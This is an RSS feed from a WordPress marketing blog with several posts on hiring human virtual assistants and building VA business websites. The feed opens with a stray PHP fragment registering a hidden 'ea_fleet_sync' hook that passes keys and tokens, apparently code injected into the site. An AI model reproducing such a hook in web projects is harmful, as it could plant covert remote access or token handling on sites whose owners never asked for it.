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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Virtual Assistants Archives - Social Media Dudes https://socialmediadudes.com/category/virtual-assistants/ Fri, 18 Sep 2020 11:38:28 +0000 en-US hourly 1 https://socialmediadudes.com/wp-content/uploads/2020/02/cropped-Social-Media-Dudes-1-32x32.png Virtual Assistants Archives - Social Media Dudes https://socialmediadudes.com/category/virtual-assistants/ 32 32 How To Use A Virtual Assistant! https://socialmediadudes.com/how-to-use-a-virtual-assistant/?utm_source=rss&utm_medium=rss&utm_campaign=how-to-use-a-virtual-assistant Fri, 18 Sep 2020 11:38:06 +0000 https://socialmediadudes.com/?p=985 The post How To Use A Virtual Assistant! appeared first on Social Media Dudes.

]]> Calling on virtual assistants to help you set up your project can be difficult if you have just started your business, and your budget has also just started … But as you develop and your time will become more and more precious, outsourcing certain aspects of your business to independent professionals can be a great source of help.

Some tasks may be left entirely to a third party, while others are part of a whole in which you must also participate. Either way, being able to rely on someone else makes you less stressed, more productive, and even earns more money (because you’re focusing on what you’re really good at). What else?

The right person can sometimes even ensure the proper development of your business without you having to intervene too much. But while you will have to get involved at one point or another, the benefits are indisputable.

Let’s take a closer look at how you go about finding all the help you need, including areas you might not have thought of.

Recruitment and administration

Most businesses, whether internet-based or not, usually use an assistant first. Virtual assistants work exclusively online and do all your administrative tasks for you. They are sometimes specialized in a particular field, for example, the management of social networks.

A virtual assistant can perform several administrative tasks for you, such as:

  • Organize meetings
  • Process your emails
  • Train your new recruits
  • Respond to your customers’ emails
  • Sales/appointment management Manage your documents and keep your databases up to date 
  • Schedule interviews/guest posting opportunities 
  • Perform customer service 
  • Manage social media 
  • Reach out to potential joint venture opportunities 
  • Update your web site/post blog posts

Some of these tasks may take you a minute to get comfortable with having someone do on your behalf.  But take it from me.  The more you use your VA, the easier and more effective your relationship will be for both of you.

Encourage them to ask you as many questions as he needs before throwing him in the deep end. The clearer that you are on what you want done, the better job they will do.

Research

Having your VA perform research for your business is one of the most useful tasks to have them do and which can have a massive impact on your business. . Some of the things that can be researched by your VA are:

  • Find relevant links and statistics to publish a blog post
  • Create a comparative report on prices, advantages and disadvantages, and all other data to help you better manage your business or make you more aware of what your competitors are up to.
  • Monitor the news in your sector to select the best information to relay via social networks

Your VA (aka “research assistant”) is your Google in the flesh. When you’re ready to hire a virtual assistant, think about the research you need for projects you want to accomplish that will take you time (without requiring a high level of expertise). Then write out general guidelines for the information you seek, as well as useful resources and your preferred presentation format.

Design and graphics

If you have little or no graphic design experience, don’t try to learn everything in record time when your time would be more profitable doing something else. Knowing the basics is good. But let the professionals do their job. You’ll get better results, faster.

The term “design” can refer to many things, depending on your business and your needs. Here are the fundamentals common to all companies:

Graphic design: brand assets (logos, style guide, letterhead), social networks (cover image), blog post graphics, etc.

  • Web design: the look, feel, and structure of your website.
  • Photography: portraits and stock images for your website.
  • Video: content (to explain how your products work, for example) or marketing,

Whether it is scheduling, performing the task, editing/touching up, many VA’s can perform this at a high level.

Marketing

Without marketing, no one will know the products and services your business provides. Because to prospective customers, your business doesn’t exist.   In other words, you need to be marketing your business at all times.  When you first start out in business, it is typical you are doing either marketing or sales.  Having a VA can let you do the things that bring in more profits into your business as you focus on those activities.

There are many aspects to a marketing strategy. How can a VA help your marketing efforts?

  • Engage with consumers via email
  • Optimize the organic SEO of your website to increase traffic
  • Use marketing content to convert your visitors into customers
  • Use social networks to build good relationships with your customers and increase your sales
  • Automate reminders and follow-ups based on your customers’ behavior on multiple channels
  • Appear among the relevant results of internet searches thanks to CPC-based advertising (cost per click)
  • Use press relations and influencers to reach new audiences
  • Keep information on all these channels up to date.

This is an area where having a VA work on your behalf can put you ahead of your competition.  I have listed some very different skill sets above, so expect that you may need more than one to get everything done.  That is the beauty of having a VA.  They don’t have to be a 40 hour a week expense.  You can hire them part time to do a few hours a week (or whatever your budget can handle at the moment)

Sales

Hiring a full-time sales person or team for many companies can be a non-starter.  Especially, if you aren’t earning a bunch yet.  You might consider bringing in affiliate marketers to get the word out about your business and the products/services you offer. They will target and promote your services to their (usually large) audience in exchange for a commission on each sale.

Use your VA to research, find and built those affiliate relationships to the point they will bring you in to close the deal.

Create processes /polices

Perhaps you have been going so hard at your business that you either haven’t sat down (or just procrastinated doing so) implementing repeatable processes that insures your business runs smoothly.  Or maybe you never got around to creating terms and conditions for sales, return policies, customer service tracking, etc. (you can see the list can be long).  Maybe you need to implement a workflow that automates the work to move from one person to another?  Use your VA to do this for you by drafting documents that you sign off on.  There is nothing worse than a policy that you do not agree with being implemented on your behalf that puts you in a bad light with customers/prospects.  Take the time to review these items before putting them into practice.

Your takeaway…

Whether you hire one or a team of virtual assistants, there is no end in the ways they can help you automate your business processes and boost your business like never before!   Offloading the non-income generating tasks to a VA can be like jet fuel for your business when done correctly.

To do it right, start small and plan as your business grows, based on your needs. Start with the mundane, repeatable tasks.  When you see how much time that frees up for you, you can begin to expand on the concept.

Call To Action

Hiring a virtual assistant can be made easier when you follow an on-boarding procedure.  And you are in luck!  I have a free Virtual Assistant Onboarding Checklist for you.  Don’t minimize thinking that you got this.  A surprisingly high number of VA’s leave because they haven’t been properly given everything they need to do their job. It gives you guidelines and a checklist of everything you need to get your VA up and running as soon as possible.  Click here for the checklist.

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The post How To Use A Virtual Assistant! appeared first on Social Media Dudes.

]]> The 10 Essential Elements For Your Virtual Assistant Website! https://socialmediadudes.com/virtual-assistant-website-for-beginners-top-10-essential-elements/?utm_source=rss&utm_medium=rss&utm_campaign=virtual-assistant-website-for-beginners-top-10-essential-elements Sat, 29 Aug 2020 06:39:00 +0000 https://socialmediadudes.com/?p=929 The post The 10 Essential Elements For Your Virtual Assistant Website! appeared first on Social Media Dudes.

]]>

Virtual Assistant Website For Beginners – Top 10 Essential Elements!

Whether you are just starting your Virtual Assistant business or are looking to scale it to bigger heights, a website is one tool that is definitely a difference maker.  If you still aren’t sure you need one, read 10 Reasons Why Virtual Assistants Need A Website!  But for this post, let’s just agree you do in fact need a website for your Virtual Assistant (VA) business.

So, with that covered, let’s make sure your VA website has the essential components to make it stand out and to help build your business.  Here are the top 8 must haves for your VA website:

1 – The Right Platform – WordPress

Coming to the decision to have a website probably frayed some folks nerves to begin with.  But you are over that.  Keep that positive momentum going by selecting the right platform to build your website with.  You may be thinking to go with something that is easier. WordPress is now more user friendly than ever.  It won’t tie you to a developer as you want to either expand or make changes.  As tempting as other platforms (Square,  Wix, etc) may look, after a short learning curve, the WordPress platform most likely will serve you better.

Bottom line, you will have more options and have a better opportunity of having a website you can both be proud of and that will impress prospective customers by going with WordPress.

The other reason to use WordPress is that it is likely your clients will want you to have a working knowledge so you can do minor work on their site (post blogs, pics, post upcoming events, etc)

2 – Your Services Page

When you are just beginning your VA business journey, you tend to want (or at least “feel” you need) to be all things to all people.  That does you a dis-service. You need to understand who your Ideal Customer Avatar (ICA) is in order to best serve their needs.  As a virtual assistant, there are a myriad of services that you can provide to your ICA. What you don’t want to do is list every service that any VA offers because potential customers won’t believe you (unless you can provide some social proof described below)  If you can’t speak multiple languages, maybe offering translation services is not in your best interests.

What your Services Page does is to provide you an opportunity to show the things you can do and the verticals you can serve best.  You might have a real estate background, so you are able to put that knowledge forward to better help your clients.

So, what are the components that your Services Page should contain?

Detail the type of customer/vertical you are most likely to be successful with and who will benefit from the services you provide.  (If you do social media management, you might include that your company are Facebook/Instagrams ninjas who have had tremendous success working for start-up and small businesses who don’t have the time or inclination to take on this task themselves.  (The more story you tell, the easier it is to resonate with your offerings…because they are more likely to see themselves as wanting that help)

Now that you have listed the vertical segment of the types of customers you can help, let’s provide a listing of the services your VA business offers.

I am a HUGE believe in creating packages with prices.   I know some people are reluctant to do so, but I have found that most people are afraid of the unknown.  When I didn’t put prices on the site, people would say “I can’t afford you”  And they were so wrong.  So, I do now knowing that it does some prequalification of customers for me.  Is it possible that I lost some customers who I may have gotten otherwise?  Possibly.  But my approach to closing business is not high pressure.  This makes it easier for all parties to begin the conversation.

Is there an advantage to working with you?  In other words, what is the value proposition that you provide?  If there is something (experience, skill level, etc) that sets you apart from your competition, let prospective customers know about it.

Social proof – Do you have testimonials (video, emails, notes) from current/past customers that say what a great job you did?  Use them to your advantage her.

Pricing – while I spoke about pricing above, let people know that you can also create custom pricing for individual scenarios.

You need a call to action (CTA).  Include a call to action (click here for free 20 minute consultation, give me a call, send me an email, fill out this form, etc).  Instruct people what you want them to do next.

Is your website showing you and your VA business in the best possible light? – here everything that ALL websites should include! https://ctt.ac/6C6_v+ CLICK TO TWEET

3 – Readily Available Contact information

If you want customers to reach out to you, then they are going to need an easy way to do so. I can hear you right now.  “Thanks Captain Obvious!”  lol  But you would be amazed at how many sites don’t make this available at every opportunity! 

So, what am I really saying here is EVERY page of your site should provide a way for folks to reach out to you!  This could end up as a “Have a question” or Contact Us” in the footer of your site or could be in the body (or sometimes as you will see on my site, it is both)  This is in addition to having a Contact page that stands on its own that may provide more options to reach you.

So, that means using some sort of “contact form” module that will send an email to you when they submit. 

If you aren’t interested in getting a bunch of spam, putting your email address on the site is not advisable.

Provide every contact option that you can support (without going crazy).  Everyone has a different DNA for how they want to communicate.  Could be an email, phone call, skype/zoom meeting.  You might consider a google phone number that can alert you when someone calls.  Make it easy to do business with you and that begins with their ability to reach out.

4 – Photos/Videos of your team working

Prospects and customers resonate to sites that have either pictures or videos.  They like to see you in action and that you know what you are doing.  It goes to the “know/like/trust” factor that is not to be underestimated in gaining new clients.  Do, don’t disappoint them.  Take some pictures.  Not feeling comfortable with YOUR picture being taken.  Take more pictures.

Show potential customers that you and your team are friendly.  Better yet, include a video. 

OK, I get it.  Many of you are Solo business owners. If you feel like you don’t want every picture with you in it, consider including images of recognizable objects that are associated with your business.  If you specialize in working with law offices, perhaps an image of the legal scales of justice.  You get the idea.  Don’t go without photos/videos on your site.

 5 – About Page

Potential customers understand that many VA’s businesses are not huge.  So, in an effort to get a better understanding of who they might be doing business with potentially, they go to the About Page.  A lot of business owners in general either treat the About page as an afterthought or actually bypass it altogether.  Big mistake.  On all of my sites, my About Us page is one of the more visited pages on the site.

Use this page to tell your story.  It isn’t just to let folks know about you, but also how you use your skills to help your clients. The about page is about you, but it’s also about how you work with your potential clients.

I can hear you know.  John, I am not sure what to say.  Here are some things you might consider:

  • What makes you unique from other virtual assistants?
  • What do you bring to the table?
  • What led up to you doing this business?
  • Describe your ideal customer/vertical and why you have the skills to serve them better than your competitors.

Providing this will help you to hone your About page to attract new customers.

6 – A Blog with Amazing content

You provide amazing services that provide high value to your customers. What you want to do at this point is to have as many visitors to your website as possible that would be interested in your agency providing services. So, you want people to find you, but how does that happen?  How does your site come up in the search algorithm?  Simply said, it requires quality content that is provided on a consistent basis.  Google likes websites that are regularly updated. Content in its many forms demonstrates your subject matter expertise.  It can be written blog posts,  videos or podcasts. Something to keep in mind that you want to have the content reside on your site, so google and social media brings people back to you where they can find out more about the services you provide.  The result of this effort is that it builds relationships with your audience and prospective customers.  A blog is you’re the cheapest, most cost effective marketing that you can do! Here are some of the things that you may not have thought about a blog doing for you:

  • Provide a reference point for your social media postings
  • Effective communication network for your agency to allow others to post to other social networks
  • Insures that you are perceived as an expert in your niche

OK, I can hear you now….”John, I am convinced I need a blog, but I don’t have the time or the expertise to put together blog posts for my business.  I have you covered! I provide 1,500 word blog posts in a DFY approach for VA’s on a monthly basis that includes an infographic that is very economical.  Click here to find out more!

7 – Client Reviews / Testimonials

What happens when your customer needs your service, but you don’t have the time to build the know/like/trust factor?  We mentioned testimonials above but it deserves its own paragraph. Customer testimonials add content to your site and let’s other know that you add value to the services you provide!

Testimonials from real customers make prospects relate to their challenges and tell people who don’t know you that you can be trusted to do a great job.

They are actually easier to get than you may think.  Talk to your customers and ask if they would be willing to either write a few words about their experience with you or better yet a short video.

If you get a great google review, then let people know about it.

Finally, a word about case studies.  Let me just say this…case studies are powerful!  Potential clients want to know how you have helped past clients achieve their goals. By you putting together the story of what the challenge was (customer had serious data issues in getting their spread sheets into one file that made sense. Then tell how you approached it and what you did to provide the solution that the customer loved.  Having case studies on your website can help prospects feel more comfortable reaching out to you because they can see how much you’ve already helped other business owners.

Don’t overlook this if your VA business is just getting off of the ground and you don’t have the social proof to provide these types of opportunities (yet).  Don’t stress it! It’s perfectly fine to use past co-workers and bosses as your testimonials until you get your VA business up and going. You are probably doing many of the same things that you did for your bosses.  Just be transparent.  It will pay off long term.

8 – Frequently Asked Questions (FAQs)

There are several ways that providing a list of FAQ’s can help your business. But before we go there, let’s answer some FAQ’s about what they are as well as what they do:

  • A list of the most common questions that come up for your niche and type of work
  • Enhances the customer experience
  • They help people understand your business
  • They help you communicate the terms and conditions for doing business with you.
  • Increases sales because you have provided the basic information needed to go forward
  • Decreases incoming questions that to you seem repetitive or basic.

Let’s talk about the benefits that FAQ’s provide:

  • Helps you to let customers know their needs
  • Shows your expertise
  • Helps customers to better understand what your business does.
  • Actually will boost your Search Engine Optimization

Some people may have a misconception of what working with a VA is like.  Providing a list of FAQs solves that problem!

FAQs help to remove any confusion or uncertainty that potential clients may have about working with you. By answering questions such as, “what is it like to work with you?” and “how do I know if I’m ready to work with a VA?” upfront, your potential clients will already start to feel more comfortable with the idea of working with you.

9 – Website need to be Responsive and designed for mobile optimization

Let’s start with understanding what that means.  A website that is responsive is basically one that adapts to have your website look good no matter what size device.  In other words, everything is scaled and “optimized” to look good whether you are viewing it on your desktop, laptop, tablet or other mobile device.

So, one thing you want to do when you build your site (or have The Social Media Dudes create your site [shameless plugJ]) is to insure it is responsive by testing it out on different devices.  

More importantly, you don’t want to do everything right on your site by including everything above only to have Google punish you because your site isn’t mobile friendly.

10 – Call To Action (CTAs)

Sometimes, people need to be told what to do.  It may be the result of not knowing what the next step is, it may not be clear how to proceed, or just need to be guided.  If your pages don’t contain some sort of Call to Action (CTA), then you are likely missing potential sales

A CTA isn’t always about closing the deal.  It may be trying to get them to subscribe to your email list (you do have an email list, don’t you?), perhaps you are wanting engagement by having the visitor leave a comment or perhaps to set up a quick consulting call so you can understand the prospects needs before you prescribe a solution (you).

Call to action (s) are a key feature to any website. Every page and blog post on your VA website should have at least one CTA.

Your takeaway…

Whether you are just starting out or your VA business has been up and running for a while, our VA website is an essential part of your business.  Work on implementing these essential tips on your website to insure you make a great impression!

Do you still have questions or are overwhelmed? Reach out to the Social Media Dudes by scheduling a free 20 minute consultation to discuss your current site or plan on a new site to invigorate your VA business.

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]]> Launch and Grow Your Virtual Assistant Business! https://socialmediadudes.com/launch-and-grow-your-virtual-assistant-business/?utm_source=rss&utm_medium=rss&utm_campaign=launch-and-grow-your-virtual-assistant-business Sat, 18 Jul 2020 05:55:00 +0000 https://socialmediadudes.com/?p=893 A virtual assistant is a self-employed worker who provides technical or administrative assistance services for business. Virtual assistants (VA’s) are […]

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]]> A virtual assistant is a self-employed worker who provides technical or administrative assistance services for business. Virtual assistants (VA’s) are everywhere today. They offer cost-effective solutions to help business owners so that they can focus on growing their business.

Due to the fact that online work is to be done, the virtual assistant can work from any place in the world. Thanks to technological improvements such as broadband Internet and document sharing, remote working has become a reality.

What qualities should any virtual assistant have?

Being a good virtual assistant is making your customer’s life easier. In a sense, you are delegated to take charge of the tasks which will be entrusted to you.

You need to give your client the feeling that he can leave you unattended while achieving exceptional results. Here are some of the most appreciated qualities in a virtual assistant:

Reliability

Reliability is a must-have of a virtual assistant. Whatever your qualification or the cost of your work, you will lose customers if they cannot count on you.

Rigor

Rigor is very important. People are human and mistakes can happen. But you should avoid unnecessary errors like typos, and missing deadlines. They make seem like small details, but definitely can be a deal breaker for folks who hire VA’s.

A kind and sympathetic personality

You need to balance business and personal feelings toward your employer as a VA. Having a great relationship with your customer will take you further than you could imagine. Some clients are easier to work with than others.  Try your best to stay optimistic, no matter how the client behaves.

Help develop the client’s business

If you can grow a client’s business and it increases their income, you will have a job forever. The extra income you provide to the client will make you an invaluable member of their team.  And in the end, you will get more business as a result of helping their business grow.

Ensure impeccable follow-up

Stay in charge of each job, even if your client is not. Minor jobs can often fall through the cracks, but it’s your duty not to let that happen.

Work well under pressure

Never let a customer see you sweat. It’s a joke, but it’s true in more ways than you might think. You want every customer to feel that they are your only customer, regardless of your workload.  While it is easier said than done, those that can perform gracefully under pressure are the ones who get more work.  Their clients may not acknowledge it, but they appreciate you making their lives easier.

Can you multi-task?

If you can take on multiple tasks at once, get them done on time and budget, you will always be working.  It takes organization, efficiency, and proper planning, but it’s essential for success as a virtual assistant.

How to launch a virtual assistance business in 6 easy steps

Now it’s time to take action and start your business as a VA. This multi-step process will help you see more clearly to get started.

To create your successful virtual help desk, you will need to go through several steps:

  • Choose your offer
  • Set your prices
  • Find your ideal customers
  • And much more…

I will show you step by step the essential points to get started, be sure to take these 7 steps seriously.

1. What services are you going to provide?

You now know that you can offer hundreds of services as a VA. You can do it all, from writing to sending emails, calendar management, accounting, marketing, social media, etc. Concentrate on the skills you have that you like doing. There is no reason to scatter yourself, especially at the beginning, when you have a lot to learn!

But if you are a 1 person operation, indicating that you specialize in 15-20 areas is a disconnect to potential employers.  Find your niche.  It might be social media, content generation or a variety of tasks.  Find several of them and be really good performing them.  More importantly, be ready to show social proof of your ability when a prospective client asks to see your work.

2. Set your prices

Now that you know what services you are going to offer, you need to set the prices for your services. You have to be competitive without selling yourself off to win customers, but then how do you set the right price?

This is what we will see; you should know that most of the virtual assistant offers fall into four main price categories:

  1. Hourly Rates: Your client pays an hourly rate, and you are paid for the time you work.
  2. Project-based: Your client pays a fixed amount for a one-time project (creating social media accounts, designing a website, etc.)
  3. Hourly rate plan: Your client pays for a specific amount of hours to use over time. Depending on your contract, they may expire after a specified period, for example, 6 months or a year.
  4. Monthly: Your client pays you monthly for a set of tasks or a specific number of hours.

The easiest way to determine the value of your services is to do some research on what other virtual assistants charge.

You can do a search on Google, go to freelance sites, or search on forums, Facebook groups and just ask the question.

Average the rates you find, and you will get a clearer picture of the prices you can charge a company in your area of ​​expertise.

Important: Also take into account the experience you have in your field, you cannot charge the same price if you have 10 years of experience or if you have just trained.

Also, don’t severely underprice your services.  While there is such a thing as “buying the business” when you first get started, when you price much less than the lower end of the range, potential employers tend to think you don’t know what you are doing.

3. Know your ideal client and target market

Once you have determined the services you offer and set your prices, you MUST ABSOLUTELY determine the type of clients you want to work with.

If you don’t take the time to know your ideal client, then you will be unable to target them. By knowing it at your fingertip, you know exactly what it needs. Therefore, you can offer him the perfect service.

Be as specific as possible and try to get into the mind of your ideal client:

  • Are they small business owners?  Start ups?
  • Do you work a specific type of business?  (Legal, construction, etc)
  • What are their points of frustration?
  • What types of services are they likely to need?  (Insurance companies are going to have much different needs than an online marketer for example.)

Ask yourself if the work they do is interesting or if it is an area in which you are comfortable. You should also write down how you can help them and why they should choose you over another VA. This step is essential because it will help you develop your marketing plan afterwards.

5. Create your website and set up a marketing strategy

If you want to work as a VA, then most likely, you will work remotely. It is, therefore, essential for you to have an online presence; the best way to present your services and skills is to have a website.

Think of it as your business card, a website will let your potential customers know if you are the best choice for them. There are simple and affordable solutions to create your professional site, Here at Social Media Dudes, we are huge believers in WordPress. 

Social networks are also an essential part of your business; it can be a good source of traffic for your website.  What platforms are your target employers using?  Are they on Facebook? On Instagram? Or even LinkedIn? Communicate with them to show them that you understand their need.

That is where you should be putting some of your marketing efforts towards.

You don’t have to be everywhere: learn where your ideal customers are and master one or two social media platforms.

6. Network with other virtual assistants

Working from the comfort of home can, from time to time, become an isolated job. You will always need a support group, someone who understands you and can help you with advice, or just someone you can share with from time to time.

Find Facebook blogs and groups that are in your niche. Find a group of individuals who share your goals and work alongside them to build a prosperous business.

Leverage your relationships!  If you are a great content marketer and someone else is fantastic at social media management, perhaps you can work together on projects.  Don’t isolate yourself from other VA’s and profits!

7. Under promise and over deliver

Making your customers happy is the greatest asset of your business.

Once you have found your first customer, do everything you can to provide them with quality service; do not hesitate to always deliver a little more.

A satisfied customer can recommend you to other business they know, and you only need a handful of customers to earn a full-time income as a virtual assistant!

Don’t be afraid to ask for feedback.

Ask your customers if there is anything you can improve and take into account everything they tell you. Use each positive review as a testimonial and ask your best customers if you can use them as references. This will go a long way in helping you get more customers.

Finding Virtual Assistant Jobs Online and Offline

Now that you have determined the services you are going to offer, how much you are going to charge for your services and that you have created a website, it is time to find customers.

Finding customers is often the toughest part for any new business, and you will need to be proactive at the start:

  • Send emails to companies
  • Register on freelance sites (Upwork, Freelancer, etc)
  • Use your family and professional network
  • And much more…

Fortunately, there are a few places where you can find more success than others.

Try freelance websites

It is relatively easy to find virtual assistant positions on websites for freelancers like Upwork, Malt or even offered microservices on sites like Fiverr or 5euros.

This is a good way to get started, but you don’t decide who you want to work with and why.

You accept all requests that reach you; therefore, you compete with other VAs and do not have complete control over your business.

But the best way to find clients and get paid for what you are worth is to identify and contact the clients you want to work with.

Call on your family and friends

Don’t be afraid to ask family or friends directly that you are looking for work, tell them what you are doing exactly and how you can help.

You may be surprised to find out they someone who is looking for help and who can put you in touch.

If it turns out that they know someone who is looking for someone with your skills, they will be happy to help and give your contact.

It is a simple method that is successful because you come through a personal recommendation.

Partner with other freelancers or entrepreneurs

You can join Facebook groups of entrepreneurs and participate in networking events. Partnering with other freelancers is a great way to get a job. There are two means to make it workable:

  • Suggest outsourcing: When they are overworked or looking to outsource certain tasks, you can work for them.
  • Partner with a service provider – Team up to offer a broader range of services than you can offer alone. For example, a copywriter and designer can team up to provide all-in-one sales pages.

It’s a win-win method, you both get to work, and it also expands your network.

Direct prospecting

You now know your ideal client and target market, so you can directly contact the clients you want to work with.

It is one of the best methods to get new customers if you have done the work upstream to find your ideal customer.

It is then easy for you to contact him is to explain the services that you offer by pressing on these points of frustration.

Become a VA and get started working from home

If you want to work from home and be independent, the job of a virtual assistant may be for you. It is a business that you can start without a big investment; you only need a computer and an Internet connection.

Having a website is a plus, but it is not essential to start. With a little networking, you will find that it can be quite easy to find your first customer. I hope you have found this safe guide on how to launch and grow as a virtual assistant useful.

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]]> 10 Reasons Why Virtual Assistants Need A Website! https://socialmediadudes.com/10-reasons-why-virtual-assistants-need-a-website/?utm_source=rss&utm_medium=rss&utm_campaign=10-reasons-why-virtual-assistants-need-a-website Sun, 17 May 2020 11:48:56 +0000 https://socialmediadudes.com/?p=698 The post 10 Reasons Why Virtual Assistants Need A Website! appeared first on Social Media Dudes.

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A good website, homepage, or website for business – whatever you want to call it – is a cornerstone of digital marketing. However, good is a relative concept. Before we define what a good website is for a virtual assistant, let’s clarify this: good in this context doesn’t just mean that the site looks great or that it’s technically implemented using the latest technologies. Instead, websites for the company that supports the company’s own goals and businesses are at the heart of website design. Such websites do at least the following three things very well.

  • They are found by the right kind of people (for example, potential customers)
  • These people will find what they are looking for on the site (for example, their services)
  • These visitors perform the action you want on the site

A good website is created from these three blanks. So they need the right kind of traffic, that is, the right kind of visitors. These visitors need to find the right things they’re looking for on your site and be so confident in what you’re offering that they decide to act inspired by the content of your website. Like all marketing, a good website requires knowing your customers.

Website in the virtual assistant business

True, technology has developed at a tremendous pace and its slowdown is not in sight. When talking about firms’ websites or services, it is good to note that their appreciation has increased with the changes, and today they are seen as an increasingly important part of the overall business. As a result, the business objectives, needs, and benefits themselves, as well as the repayment of possible development investment, are increasingly being addressed in the conception phase today. So where should you start to get the best possible modern business support pages that pay for themselves?

The first step is to refine the basic idea of ​​your business like virtual assistants provide services. What we do and how, who, and where our customers are, who are our competitors and how we stand out from them, and what are our strengths and weaknesses. After that, it makes sense to consider how important online business is seen as part of your core business and whether there are clear similarities and mutually supportive opportunities between these areas. Could the number of leads be increased by introducing expert blogging or addictive customer references? Would we be able to grow our customer base through free trials or by adding an email list based on offers? Could we improve our services by adding a real-time chat window or user-based discussion forum?

Here are the top ten reasons that indicate the need for a website for virtual assistants.

1. A website makes you professional!

In this era of the internet where everything from clothes to money exchanges is performed online, a website builds up the credibility of a Virtual Assistant as a professional. Employers will expect the work based on their website. An official website can also be considered as an online company address. It is where other people, associates, and clients can find their required assistance and get in contact easily. It also makes an e-mail more valid and credible. Websites convey their own distinct online originality.

The website helps virtual assistants in marketing which is used to connect and inform the clients. It plays a remarkable role as the center for all other methods of communication. It can be made into a place for all the promotions, public associations, and social outlets. It can act like a major place where the VA has the ability to control the messages. Whether you use Facebook, Twitter, LinkedIn, Instagram, or publish press releases, you should be focusing the campaigns on your website.

The online presence of a website enables you to accurately express yourself as a whole: the information, identity, visions, and responsibility. To avoid the visitor’s disinterest and vague confidence, the website must be attractive and impressive. Furthermore, maintaining good quality, easy-to-use websites makes clients feel pleased using your assistance, as they will believe that they can anticipate the same encouraging experience in all areas of your profession.

2. Your website can attract new customers through Google:

Google is a great way to get new clients. Not only does it make it easier for customers to discover you physically, but digitally too. The Website can extensively increase search visibility on Google. Eventually, what a virtual assistant need is a place where the customer visits, not just to inspect the pricing of services, but also to begin a relationship based on what they notice, discover, learn and understand when exploring the website.

To rank your virtual assistant business higher, you need to make sure your website is search engine optimized. High quality and trustworthy websites rank higher on a search engine. When you rank higher on a search engine, your website gains more traffic and ultimately you get more customers. As you complete more orders on your website, you will get more reviews which will get you a higher rank on Google.

3. You can showcase your services:

Numerous sources have verified that approximately 4.54 billion people use the internet on a daily basis. That gives virtual assistants an opportunity to deliver the services to more than half of the world’s total humankind. Individually, a person consumes an average of six hours a day on the network, giving rise to a bigger platform than any print or broadcast outlet. The internet is for 24/7 which enhances your assistance beyond job hours, and hence the website also remains open and active.

Catching up with potential customers is possible through a network of never-ending connections. The perfect business website is the one that starts generating income anywhere and anytime. It is the best way to inform and notify about your ongoing services and soon-to-be-launched products. Advertising and marketing through a website always fulfilled its purpose.

While still prominent these days’ traditional techniques cost more fortune and cover less ground. They are also not quite endurable; posters, press releases, print ads, and flyers mostly end up in the waste and garbage.

Traditional forms of marketing mean wasting useful scarce resources, money, and time. Whereas online dealing is quicker, more profitable, and economical. There are several methods and strategies that virtual assistants can utilize for online advertising but without a website, these techniques will fall missing bad. The online marketing actions will generate an inbound outlet to a specified objective which is your website.

4 . You can exhibit your best testimonials and reviews prominently on your website:

Many people underestimate the ability of social impact by retaining their client appreciations offline. But feedback from your prospects prominently displayed on the website can make a huge distinction. It is not that it will be the only factor in determining whether a client buys your services or not, but if they are on the edge and in the doldrums of making a decision, it could be the component that urges them over the fence to sign up for your assistance. It is quite good to put up testimonials all over the website.

Appreciations and acknowledgment on the home page and landing pages are a considerable means to greet new prospects to your site and terminate any uneasiness they might possess about your assistance. The good reviews and testimonials can facilitate in convincing people to at least consider doing business with you. Meanwhile, good appreciation posts on sites can tell more about what services you are to give from a list of many contenders.

5. A website can inspire customers to interact with you:

If done suitably, a website can act as an online salesperson conveying everything, you as a virtual assistant have to offer to the employers. If you are already working for someone, you can use your website to ease your job and duty by maintaining a dependable directory. According to an analysis performed by Google, probable clients have already made up their mind 57% before they actually contact the agent. It means that they have already asked colleagues, done online exploration, and looked at your website as their first interaction. If you do not operate a website it is highly probable that your opponent will do, this suggests that you are neglecting to reach new clients and do not exist at the forefront of their decisions. It is necessary that no chances are lost, only increased by the competition.

Websites deliver a simpler way to deal with customer service. Offering replies to regularly asked questions in a FAQ (Frequently Asked Questions) segment, you can decrease the service expenses and preserve your time and money, as well as giving much more knowledge and information. This also suggests that clients can get a response quickly and maintain the value of time, which enables them to promote optimistic customer associations in the long run. This could also become an advantage for Virtual Assistant, all positive acknowledgment and appreciation can be uploaded into a testimonial, which will definitely attract new customers.

6. You can integrate your website with Social media sites so people can find you more easily:

Cell phones are now the gadget of preference for the majority of people who scour for information online. It is vital for the profession of virtual assistant that the website is compatible with mobile phones. If the website is uneasy to use or, worse, not even available on mobile devices, you have the probability to miss more than half of your prospective clients.  Professional web developers recognize and understand the power of mobile space, and these days always guarantee that the sites they create are responsive to smart gadgets and tablet devices.

Sometimes managing different social media sites for virtual assistant services can become tiring and time-consuming. That time can easily be used on other income-generating assignments. This is where a virtual assistant’s website comes in handy and all the social avenues can be integrated into one platform. It can help in planning and scheduling your social media marketing on any site. It helps you in developing and expanding the network. With the advancement of the Internet, the prominence of social media, and the influence of mobile devices, the website has evolved into an important tool to promote the business.

7. Your website creates your place in the business:

Maintaining a website for your business or institution is an essential component of your work strategy. Even if you are a virtual assistant, your website is the impression that people have of your services and assistance. A dominant and beneficial site will help to leave the client with a positive opinion. A poor strategy is equivalent to no strategy and may have a bad effect. That is why it is crucial to be intentional and calculated about this since your website is a considerable factor of your name.

If you have a nonprofessional website or worse, no website, then you are putting out people with a notion that you perhaps do not expect. By contrast, a powerful web existence can maintain your impression as a valid and rightful source of assistance, expertise, creativity, and services. Besides, you can get a business email with your website domain name that will make you appear more professional.

8. A website is no longer daunting to create and manage:

Once, in the early days of Internet website building was the most expensive and difficult task to do. Thanks to many tutorials and web developers, it is not costly or difficult anymore. You do not need to worry about the programming and the setup of the website. Outsourcing is the most common way to create a website for small business owners. You can establish a good quality website for a virtual assistant in just a couple of days.

Websites work best with visual content and attractive text. The visitor of the website is very much inspired by the excellence and quality of the photography, and the story they examine about you, so getting on with poor stock images or revising obsolete content that is not searching engine friendly is not an ordinary error a virtual assistant makes. However, you do not need to do all that work yourself, as there are many online agencies who offer to do all this work for you at a low cost.

9. A website confirms your success over the long term:

A proper website is a tool for multiple endeavors. As time progresses, you can evolve the website by putting in a few more simple features to help the clients, stakeholders, and employees. For instance, rather than consuming time or money faxing and emailing reports to your clients, have them accessible to view on your website and refer people to them when needed. Moreover, adding something like a FAQ section to the site can also be a considerable time saver and informative opportunity for people who are nonetheless making an effort to understand your performance, service, or assistance.

